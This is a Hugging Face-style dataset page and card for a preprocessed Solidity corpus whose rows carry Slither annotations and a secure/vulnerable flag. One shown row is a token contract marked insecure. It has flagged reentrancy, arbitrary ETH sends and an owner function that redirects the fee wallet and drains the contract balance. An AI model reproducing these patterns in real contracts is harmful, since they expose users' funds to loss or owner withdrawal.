ID: ce4fef7\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 82c6202): Elon.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 82c6202: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 69878ce\n\t\t// reentrancy-events | ID: 5ccf211\n\t\t// reentrancy-eth | ID: ce4fef7\n\t\t// arbitrary-send-eth | ID: 82c6202\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0b07b7c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0b07b7c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 55329e8): Elon.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 55329e8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1e3b6a0): Elon.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 1e3b6a0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: dc16c9d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for dc16c9d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 0b07b7c\n\t\t// reentrancy-eth | ID: dc16c9d\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 0b07b7c\n\t\t// unused-return | ID: 55329e8\n\t\t// reentrancy-eth | ID: dc16c9d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 0b07b7c\n\t\t// unused-return | ID: 1e3b6a0\n\t\t// reentrancy-eth | ID: dc16c9d\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 0b07b7c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: dc16c9d\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 656c184): Elon.withdrawStuckEth(address)._wallet lacks a zerocheck on \t _taxWallet = _wallet\n\t// Recommendation for 656c184: Check that the address is not zero.\n function withdrawStuckEth(address payable _wallet) external {\n require(msg.sender == deployer);\n\t\t// missing-zero-check | ID: 656c184\n _taxWallet = _wallet;\n\n payable(msg.sender).transfer(address(this).balance);\n }\n}",
"file_name": "solidity_code_1033.sol",
"secure": 0,
"size_bytes": 15916
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IDexRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}",
"file_name": "solidity_code_1034.sol",
"secure": 1,
"size_bytes": 1079
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IDexFactory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}",
"file_name": "solidity_code_1035.sol",
"secure": 1,
"size_bytes": 814
}
|
End of preview. Expand
in Data Studio
This dataset consists of 4,134 unique Solidity files. The files were gathered from three sources: Etherscan, Github and DISL dataset. Six preprocessing steps were applied:
- Step 1 "Cleaning": Unnecessary parts such as comments or blank lines were removed from each file.
- Step 2 "Formatting": Each file was converted with Prettier (and the corresponding Solidity-plugin) so that the final model only generates code in a correct format.
- Step 3 "Slither Analysis": Each file has been checked for security vulnerabilities and gas consumption issues. Annotations are added to the line or construct in which the vulnerability or optimization issue was detected. The entry "secure" is 0 for vulnerable contracts and 1 for secure contracts. The following Solidity code snippet shows an annotation example. The exact position of the vulnerability, the vulnerability and a recommendation how to avoid it are given.
// WARNING Optimization Issue (immutable-states | ID: 21fb30b): DYORNFA._feeAddrWallet1 should be immutable
// Recommendation for 21fb30b: Add the ’immutable’ attribute to state variables that never change or are set only in the constructor.
address payable private _feeAddrWallet1;
// WARNING Vulnerability (unused-return | severity: Medium | ID: 3032186): AlcoholicApe.createUniswapPair() ignores return value by IERC20(_pair).approve(address(_uniswap),type()(uint256).max)
// Recommendation for 3032186: Ensure that all the return values of the function calls are used.
function createUniswapPair() external onlyOwner {
require(!_canTrade, "Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(
address(this),
_uniswap.WETH()
);
// unused-return | ID: 3032186
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
- Step 4 "Splitting": Each file was splitted according to the definitions (i.e. contract, interface or library) it contains. The required imports were added to the splitted files accordingly.
- Step 5 "Similarity Check": Duplicate and very similar contracts were removed.
- Step 6 "Solhint Fixes": Some of the best practice issues detected by Solhint were fixed in the files.
If you wish to use this dataset, you can cite it as follows:
@misc{hensel2025preprocessed_solidity_dataset_v1,
title = {Preprocessed Solidity Dataset V1 (Without Special Tokens)},
author={Fabian Hensel},
year={2025}
}
- Downloads last month
- 2